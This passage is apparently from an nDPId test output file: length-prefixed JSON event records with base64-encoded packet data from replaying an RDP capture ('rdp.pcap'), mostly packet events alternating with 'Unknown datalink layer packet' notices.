/8saNq++iX9aGZe2owURUTn3FxbRczffWJ0O5sbx2tYpNnQ7REtVIdIQ\/eK57TLGmKWyDaGno1IuMZEq9vs+AkIxBlHUnahH+KY8+BiERb1kE9WuYFAgqmL2jxgu7EWlqzlRCj6ESDc\/bePqVllKrBQOLrzndAC6D8d5jA85j95Otfze2prYWmz8ZDevjG8MiFvi6dnQNXRrFLNaJoXr3jDSSoOOCMVqDjP9YBTYcTVHIx2S40oYpVMQZnymS9BZo0hMSVIcsgy5aQcjMBB8PJwPTdiaJZ9powzkDAoUj3\/5\/hT3I02zGXm2BlaGGDjyul1eC+MzsNTczqCAzJqeJckOimlrEX1lXol718+3pk5BGmjGvad4isHygCWmM8uypEvMGlZH6USXfIpHjORrRdBEU6VT1676\/X0iuPE1ZYNcT8RIAmT0EHXFUX4LZsDr8NZ07CrSzb8FjuK\/M7AJQ+0d6dU2+PMmrOqORQ7JU6INrlQQJvmw7YGdMwpH6\/9gw3+K4JBz2T5s5kApk5\/rQZ+gbiHQwg+TGPXIejpOsSLNi5QGS0nLgXy4hLCZKGbE6rxHKT\/5CG2h\/gVDhj72NJ1YlirdOVv0g0sjgEkO\/vxssZFgFuLws4Xij4GeOLsmIVJUvZYWYe+3JFRuUGfwUHtu\/zoyngfV2dIrLsnnHimt4GcaEWXzRjRKTTYUib5LIbHS3HfuMJYVN2MwZET3gbaKgNFUSX3OabMICTPsoWTJoLc01SkfmqmdwFwEfVijPoWmah2KAoWXgXP6u9GcpvAMHJlW98s8TLBkeXt6r5SsO31xVwHeAG9v2DCw7a3mUnWViRSLUYEdIn\/FeidCbDsjxG8KFJUoehLIdgT5fxie8Gx9u5FmRMvjqxhcL3QZOtMYzLc9QtV2cvO0H2mBm13qGKDXjNkvYHQ14\/pgSZ1F5D5NmT0ZQhh2Kwmx5WlSlkHA6cldCX4NvD5VGQ1UssxnQxnAOqjTeqM8BLc5n9e4EcSq0P5UJFuwogS3ffSATf8UD2kCjxcBsmlHH\/xKKWu3YvLVHeMkaTZjyVUwygo+B9ZqMuTuAMVHrbHLZP37kgGH5A0z2imwkRDxZK"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1343,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1344,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":435718,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiQEAAfwYmFcCoAo6sEAK5DT3NDkee7Zv5vRlBUBj433EBAAC5vgADFVlOfzlxh0VFQayOY9zGeBBvth0hQJb9zyS2Wtn0osf5DtnFv18SQ593jocwAyvxPSByZAJt2BhXwZKoRiPAfqG6NNoZHYuMRVNP++hVttaFUGq2KgdFe5qz5L3mbQ45TYM\/UNg7M3VJbvNoI4gGd79MA\/Ngch1QPMQN01RGxM\/wP969TWr7DLf6Cgu8yEXZD4JwiMhNKjDkBiqmUNowfcxKcZQV9agbsUdwB+va4uF0BvM\/CSzgjdf7RM60h3ztsVYRY8LV9vgbskmTU5DpLqdKdQO62xF7SzRaMpelEKel8NczopHYEQdBQxU8rimbPL2W1HCxAB98aucpCJFfI3+D707ARDObFi8KuRYB25W3M23W5GQj+lUJBD3ZoVRAlze3kX5FeXrggu1qOqNVxnMqy1y2tgrRyQQRD0yTnErFcxmtVO7EDH+M0bquYJfI9\/RqCqhi6jOMMzBDYSlLtY2E6QypVglvSVYLcEWwvaCo0I8+Vw9d"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1344,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1345,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":435757,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Gh1Hnu8WUBAf9PkEAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1345,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02084{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1346,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":435994,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiQUAAfwYilsCoAo6sEAK5DT3NDkee7xb5vRlBUBD430csAAAXAwMGbwAAAAAAAAGzwH2aMW41AXH\/bfb+acLZiekjl\/Th0G3oa\/Msb+Nk5zq3Q\/ScX2r\/nRD30LjRMYGx\/vVDzIaVmwuCxroTVSCpHH\/GYjmh0\/Es0QlsBGyiocbaaWyGcwKO+5gxyKGGYsqmYdnHIO7s6WGGQg5arRxCIVFMbfdt4BAv24Br2v+2rTDqSyvRXyrFbo7RXG7IPLXHi647uBVYGVqQInNXGmPtbCd4m8NzUdKk+2k5YX3GXevJ7Un5qaHZ5pkj2ekUY7MiJRok25biSsDzUKSbfuas3X5oenxG11rB3ktruQio5vjj9JIyK4vbzMxmC\/H0CUyhwuO8koG8sAE88+\/HEBv0++cKyXtHcDFOqUyftjIC1I3q3xGAU9rgVdLQKaHxcigqeJLR8BhUge38oeEHLFltgZ22JLlV+bsUD1w15GjsAwFYEsNWr1Mm4JQMCplrVhGe6kcbf1id9etHXvLOOOt3wPdbwtcY5sLXe9t2UhT9MQA+MXbaof40sff8OcJHrh3oXByN+41hsW8Wejs+vW34m1UWqpDrugY\/zOOb\/u\/3TCP5gKKyCvK33mByWThE3ezUEMMn3FbpZ2RZZ58mQzO8O9naTscdGRHVY2IW\/mAAaD1vBfkD4LK8coZ4+LKINs4Xm6hlYdN3SaS\/HD+2C\/ap3G1SaITUDdpeenTo6tXt9a9HN2jMon35oeIBYIRiUlazWZ+aebZefo7ZTcLMFxHZQxEejz7Go8VKotq0V7LEAKUWlcd6+HpnW6\/qYf6QIICM5TvrnWCEdRBeqZiG7Ccmce7iDIXibi+CmPhKFohIsW30CriK4aiO+l0b2RdSrj0SZYiWIvD2yBSU3nK2vOB04QmsErPGAIolbCvGG6bsmiTSHXNt2VKs8EWm4KQwug6TBS\/QdgLvO28n9mUb3kBYocP+kGirMwR1dlvtivOdr9phAjDiwr6WC0V4Yo6kTIMZNS+Q8t\/\/KI27\/LyPHCN\/9x+FKVaOkCTAkQMMV02DFuPgkhABNrZMazSev7D1uzXZtobZJzwzpXNLcnBlqfdatZTJVlEUd6YA065kRYFfwwVq4BdtaEKnS\/OHOywRADuCfC+jFtItpFCVEumyoknKDlptdaoCY1CyHlSVyRorBY7\/EVTVbX7Hop1MHKIiUoNq6OkhMyg5v6ylvuYDAlbGKcrE8TPqQLAUR2hB\/Di+aa5Ibnmqhx\/fffhyocmMgm1btNWAVljKlveCCajfM5lZplOb5GoIGarEuQPtytTW84OOV7s8okGy6Ag8eWnf5zNB9otypcF89uYeJct4nMLoej\/1F+whE1D1Hl7YaCLWEKK\/zbqgDZ\/vQ3WYs5pZM\/Esxz0+PeofZYPggv63O5TXvbkroddG++z43p1lWFd27hwNgHNz4jmf0UYW26skNFYacnC2rlEUPMCf3BSM2XeZ950H\/7cNvkwU0FCFHxSaHKGpX95FBWCcsOy7\/GSdLR1Td6NjCnVvhEQjasWJCPhCToOtFFrcH8YwAoOdrpSAdqcAEHo0QITJdpvLq3esMuuRbdOy+5PcIGJX+8oqgybp7E9kWU594drf2XuKlrtXTUxQkqLTYuKRZeB7ZN\/w0WdcKQxkB7p4j0H26gRWbmJepVnTnx8Hx24bPNfVFDMFj2LpAs4g7m67fU0yoiMZnfTogaeAwA3AdEoLSGzw"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1346,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1347,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":436295,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiQkAAfwYmE8CoAo6sEAK5DT3NDkee9A\/5vRlBUBj43zWUAACWd396eq2GNDHDEBPgVglb9hKAXxnx5nf4dNjW9BAx61kXrnblYJ+DL3tkoU90iB9I+HPLaUiEkd8Lqft5ddTahSIaQmznEX4k95NgeWSFsjEyY3aH32M6Z3XWL7nziFnWMTVnOG\/nmA6MIRdCDLuX4BKQxdc8nP+TY4m9oV\/kHUJgREil3qRVRd9\/KqoPv03pG6ez7O3SkGnD6P8fR8dovLThSRiWr1IaQBtz0vWYoR2P7o7TJBX4yDGaT2PLeqv3YjvU3DNa0SYdJTyX24hUYGiavqoASiujEGFJe+fHL4O89gpQfgmtoNoK9ZPBLWqjDFpZvCwPkNtPDIZeYRZOBjbpzsscDMLSN9pMPEBuIxJl5W9u4NYQ0kcQ4u36gRqenhdnrTVQq6uEKk\/NzzivuhjbhjWSevMVZp92m6nva8AnWih6EMJdziGxqn6ky0cNjQEkt0o4Wur9pM7\/Un424UQV5sgG8gYS1XoGIP+yg5HBh9UBOXhfECsm"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1347,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1348,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":436327,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Gh1HnvWKUBAf9PKQAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1348,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1349,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":436570,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iQ0AAfwYnWMCoAo6sEAK5DT3NDkee9Yr5vRlBUBj435izAAAXAwMAMAAAAAAAAAG0we79wXabIWGeu9+CxDs1BS5ynY\/w4IfzMb9ueeooAWxvuwDm9HyGlA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1349,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1350,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":436888,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iREAAfwYnV8CoAo6sEAK5DT3NDkee9b\/5vRlBUBj432N4AAAXAwMAMAAAAAAAAAG1YhMyCZZBruL2ziSBvVjzdWCQxYV2cHEdzQkIroquVZ8KhDsc7e31Hw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1350,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00353{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1351,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":436941,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Gh1HnvW\/UBAf\/vJRAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1351,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02081{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1352,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":437090,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiRUAAfwYiksCoAo6sEAK5DT3NDkee9fT5vRlBUBD430I1AAAXAwMGbwAAAAAAAAG2X7rkdZ1x2hSl5Bt9SW36K33jbA637TWCEcr6mh9zetVVLstUeZ34HHfTbZqULs\/gN8cHO5NGfgY0XBFXl7wCoBhRevqt869HyLq2DfwLGM9xRmNzcGPzvhIlqABRKf5YW0z21OaFfkXpa\/tzHT67qYWFtjFLVtxFp8rxxb07pS\/v2V9gVFkQO8TP+N+mGciehNWn7txrSx56L81U5iZSoCFufcVHw2wx8dihdKj1Kg9QIxjyoaJVVscwiTG+v1QiAiXA8I6qL2OHFAaT8cVkP8XfA84y6glX+azmiOPjVlI5DtM6p+6RJti1fVM6wq8LOz0bx\/r5z6lofVvfOx5cUeg9fVAdC336JCi6sTO5X9AZZYuM5wPLRTY+dNYri5MiSmBg5n+3CR5UDJJGzSNs+PS2FPQioPi5paiYGAEVkoXJ8NN7T\/wyEyHxwfkTwd056avlH80ufLZBpI7fsPnsIYp6kGgfC3NUieiRCzUE8nId+6X\/CxhSHs2TdP0WUNmVlf4tkWazzapkBKhSNlyB9UFkFr5OZ9Yl3H4H8UyXVmJ807oSmEbMr8L5rxecDv+lwe6hes0OF3iDlKAsY4YHAHNsmFOSEacSxu4ZhfovAHZoeXffbzJvfkQQaMCtp9nH7M+gMsNbDbB1v2A8J8e5PaDyqNi3tc1QowlCXNNCF8y41TtFqYvBvxse7WV5IU2YkiSr+VduakkMrg8bOodZ4UIM\/txcVywa\/AH+MRjc0xUEpV7V0ADEjJZ\/PGdwj+tec+JHLdjZxuoRDE6YmfNWIMOLxAdiE1EjIh4mSlJG5J7A\/H7hYpTEb9FQHCd98GtmI+ttU7wkTqJtpa+K0VNrQ2ud6BeA5ZoJnuS1l8H6nyHqSs2Tq6MdsREP\/GreBh\/+ANSYoq9WH7Ri\/fo6HGxOzQdFbFgGFSAKeDBGIby5fplArSyI0Bj5TzissWC8KlY4YwY5VSxbCVZv549jLOON6tZTPRnmI6HX+d4BoCHsHEifrTtApg4kLj1cCGcFVNMiz3Wl82DD9SAg+RfGneiCS\/P5iwyI+amjKNTexOTxTf27hDfpmUE3CaY2UnzZWj7a2BPOZEQCdcOUTr4WvUTrG6zpieBeEYU+2krOdkxkhyJjmFd5ir\/rFn578bA4axwzLm15bHrbQxzp7TwV+OnGMOhFLxBKnvl5mgWApbz45QJ8JU0FznOHV7TIyYZVelqnkHS9aM3mh\/Zc3w4S3L5PdU5T+2Z\/igouBI2D9C+FpJKrt+x8w8l5uxSCDgsdxS45FvWniPV1TFuop6XNdYm1zIkT1uBEUy\/ba7j1AB5bM2rgFB53cFy\/jnXkKCM0ecCztRNkqT86Pll38zMBmQk3yWymWpf8FQt6\/S+bzHvtlEO+BdEW1P167Hk8zv\/1McObcr1TbALyCiOMN0joDNlbuv\/nZUYcXQ2YKa\/1q6GfrOnW6tF27IrihC+d\/nPq+ziUGqZP\/0swR0UjtBkyLZ\/r3TjF+ATFt7Tv81jo8zqzjOezXHHzIAZ0Ifk\/Ntkh\/vukT6a8KXhbZHEX1pcLTB9wopCax6JZNVWiNBnASt3rwY7SzXutCfT\/0+\/3IfBnnc3RhVv4C4DuYybrQPM49H8hTzBEYU4ZWMRukGf7p2cxcOXVUAE7zn3NSNyoCMWfyzwf4YKo6IXoRZNi02B3"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1352,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1353,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":437113,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9Gh1HnvW\/UBggABnTAAAXAwMAOOAIO32NJwwXzhyuwaEqb3coWKtJOXx4\/pFi04ua4TqrRnZQpyGbbmJivhpVsHySR5f3vK9rgYqN"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1353,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1354,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":437251,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GlpHnvX0UBAf\/vHfAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1354,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1355,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":437341,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiRkAAfwYmD8CoAo6sEAK5DT3NDkee+u35vRlBUBj435m+AABT3dLhLkehoSgW1NIcvfuF4fkF0SZrKvyML02V9a+FNxKur\/2\/ppXYNsygPG8PBhnl9DZCh\/k6MPn+y3cS2eqf0+Avgbh\/eFUn+VnVWiL99HZYkmt9cx2Lidwopsmj0GX6K146O++SFrL3OPqF4TQTvLV9V9X8EVBK6Cagczb+sY7tDtigQhsoV272WpYraeu\/41zUX78kIp6Bf12\/71GB6ugcTtm5B5EyBsStL4b+etyQahTo8OKxjTL5mIN0U5ZgXb+emUS\/4XyANGV5Zb3qPzoVq55vOftegONQraL9sbWTdUZ0abp6gDhKWLkY+lQgRG1v7hYjGXLbLHas84n2vKSOrYnCGZ8md0CridwfL1S96Bx0g35Ki3e9To1ZTqiGpmqKTz4EnhBjVr\/GB77BiKpvts+KR6RcY8e6Dx3u7a9h5\/63Cs63ma047ZJEU0YKu5nmhYc5YnBiH4vUB42sOcsVjk8Wlw8gs29hpms69i\/s5eUvnZFTFcTa"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1355,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1356,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":437500,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1iR0AAfwYnVMCoAo6sEAK5DT3NDkee\/Gj5vRlBUBj438TBAAAXAwMAMAAAAAAAAAG3OjjQIbRaUZRt01x2PfDy\/8Mq0O+NmScPfkmV4lelad47RWs8bJViQA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1356,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1357,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":437521,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GlpHnvxoUBAf9Ot1AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1357,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02073{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1358,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":437708,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiSEAAfwYij8CoAo6sEAK5DT3NDkee\/J35vRlBUBD435qtAAAXAwMGbwAAAAAAAAG4n80ornDJObvfCsFFVteSB80gVxoa3yE9KFgzXNgvrZQF\/rbdi9+VnGt87KYUVmwGExNAdPcAh+XYKykIpvvZJlRT6orHN4EC\/YS004WScesVprCM7Kz6+G370yV5wzwdPTcXaxqaw4+FCyCBX7dCq3+ALKehfMHGAxBTIXa8owuCXFfnYONwLXgdtt42P13joFWOzT6z+3BXCfsfAPZh1aqGS80axs9bs1Kxgn2M3TuzqLNScaCQzVIe7tTWo3R0TocJ0zQIXsgzGm0zDlqyXc0KxPxujWEBP20DFzUgLLxjyhv7ju4EKmCvcM1JjtIfuKtjNBQwZoTwGvICjpzMoedSlJZqAJSPPyXNfnwm01yvMTvUxDQov9Jc1HqAlN6tPMxFvLoDh6mI10Ez6j+KvAVVrPmwPhJnPpERGxUSDpQ6Nzp7+DrK\/err9JkA5dfUj2SP36O11xfFgSUCWLLbrxgwteyIOtchEt\/em0Nd7vr\/uHjTSBhjwXEBxQOpXzkzoOT6h+dJdluCgmDZFmtGCxq37Eu7rjUiBE9utcS2KrpPh7n7xr1Fe0PKhbQfJz6cipEd0fDBB\/NYFIGAo8ivE6J9PzuShSD5wPichCF7v5RDSp7Q5Wr8vNuPnBeXxgKWMk085zTLXviopYcxNQcWPdDihS\/eqJKaiYqOO1N9GB2W6BuoNoanEFeO\/J\/14HwNURh7ZkL8\/5zVLEtUWWEE4tXLRYT57rVUBQyGbc0TVqt5w6yDAvsS1zf11jGYY+tkgHZ+2A1HDFiKwSf4MkyBIREI47aSP5qqB563mMxD8ZIfq4HKxcVqdxvjj9DGxN97XGD5aGqgsxazOIN4dyMQTw3ZsaM6J5rDW10YCR7Cy7ihXTIeRABBRBc5b1OXJzQ+zuDMnNVlbcL1oYZ2nBEv8NO7RbqEPt\/PddUalnj11RNm\/D\/1h2YwWTasaGLDL5kXf\/vjyQdhxEMpOqF8VrkXKuREO6ifnzJQAw14IxN0iwT5vzbjmhC3du+RwqQlyu1Oc3ZTTD0AYH5LZ\/AxkC9pQVdx9DwMJPa8XcQMfGh1ikgXGvVL03IPHlyME4+pUB0x8EdKua1XXw3zoZTllUynL54X0RLxdbuPTEj5eEvBAjdIe3inUYSOuMr8FfG4eSDvV1erusSOLQqcdePF4FS3Unuz4B6Q7yIGi1iPMFrApnB5wzU5B739QwAWI7FsB1wKDNk2WLCb084YQNQJtnZz8s6UpRrCIG8guaxC2Si9IMfRGe1YqS6EogENqnRSICTC5lCCxwnap+d7gELr7ftDrZgQ9dG1CxwNzbWhnO8Xu427LaeE2QZnjbZ+0xzl07bIm0mdEHS6jrPS4qBOMRhhJ0KaBxgK\/D+PYBN0FnDeyITgmtKHKYBtf74DWYkRiGjSPTr\/5mqiYbfEzWkCOLYIMPr4uu5+DjraB9IcLn9MuI3qqUFiULU4P0SG\/l8caPTeQKTiyeM2FnYBXJ6xSGtircUY\/i+AfCgWFtlW2g\/FG3s178scB1U37s3ebqZI+ShhtjUklqb2Rj4ZF2DSymnqAHMjNm580jxUzOMA3NBlZEmvSXFxwBDFGbPtHf\/HOrkPRbMyhB451U0RhItxsURD029yPgiPD4k0xcFNm84FO1c2cHSwrBgAsoKu1X3We11yIFmv6bdRwccxQifJ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1358,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1359,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":437732,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GlpHnvydUBAf\/us2AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1359,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1360,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":437911,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9GlpHnvydUBggAGIWAAAXAwMAMOAIO32NJwwYfqOPQOQ1QYugsLLFIn8aiGpOsuduuTJyyYGyrYu4O+Dg42SNBgMXuA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1360,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00869{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1361,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":437989,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiSUAAfwYmDMCoAo6sEAK5DT3NDkefAZb5vRlBUBj43+HjAACExJusYWXUMzqMn54IusQFhDMD1g0PECuwbsYsRo43YIzbjhSaH5egjWu\/VK86CMDqdUppxTiw\/8lUmufaiu0QQJZUXQtmw+lJZY+FTTblnv\/YQPbm\/Bs9mfDbsUbjyJ7aDFu5TT6cI0lav8OzLJz0xBfWZwReM6xZgAfnfFizNls5pCSYM\/QtsIRiZJx\/Mp9v2SzBrHNve8vHVNIaeY2u9ZHbyVqWJaJV77\/gZLFFnTHd9huGlYXSf1f+S5S4LDirk5Q96fWY+TIy+9BP5xitm6iG4iwYn3ZGytX8LPe81JIk+fFMJzThKEZQ4Eqvb4CVlYAoq1IXqrHdZF6GFoFhmXi6il1DhVQD+eTVk5\/Ycb1vtVqsoqJ2QsrnAs0R1yd\/5c8pz5YmOiN+NR01ZA3es7A1BLivTfO+VXGo2acV7LWAvNFHB\/aC2Np0pJ9kdBe\/T+lK73juYxm6lcb+GJYFFUIzHEy7zo1dor2nFt2otF3G\/ztElBAK2xCu"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1361,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02083{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1362,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":438113,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiSkAAfwYijcCoAo6sEAK5DT3NDkefAxH5vRlBUBD43yhTAAAXAwMGbwAAAAAAAAG5ELgJhqRzQgB3OLtJhY8BM8Nq365wLKzHFlAQItCA0M43queR1yqtgDI4gScQyUSsM\/ChwaTfDOb3uKvhCxeReORizh91+PSCz9jAXgWtgbOCN1ScNNxVbexzhq3Pw5DI2nUn0mQY9\/ykn7kqeh61cSi\/DSDneMOrfNpUDEDu\/4LiFI36IsHavTqKL6sp96HhCxj7Yw+89aWq9iJSCoM21zabh4uejY9q\/KoLMnOdtGsexEzyJCfM7IJR5pkvVHYIxxNGOHaOyYZePQ16DiTjIbTgoB4ZlwqwnVjhiAMWxbgUiOnowXt6wwP4RHbHXmLmK2Fv328RSch84TGL2KotiRy4iByWb2BO1CTbGP5L0A8sAzSSoYQShXbP415bemcX\/3ZRqE011tP5ZIleNkLDfKdMHXOEw+1GdpvAzzF3PFAZJIMNEMLhV2lusS4TjQ+Kx71QKAJEP58PeERWkaYT+4e4eZl83FDKT27L4OCSpWftGdoX84BNsGL0XnwwcZylDRqwcXDFJRTrWtTBxAweNeEjWRCy4\/oOIONH7cF5j7ZJ1I2IYBOoR9z4kNqpRGO0pXnVeUs0GtoIQwUsWinVRusLtqsinjtslvtaHr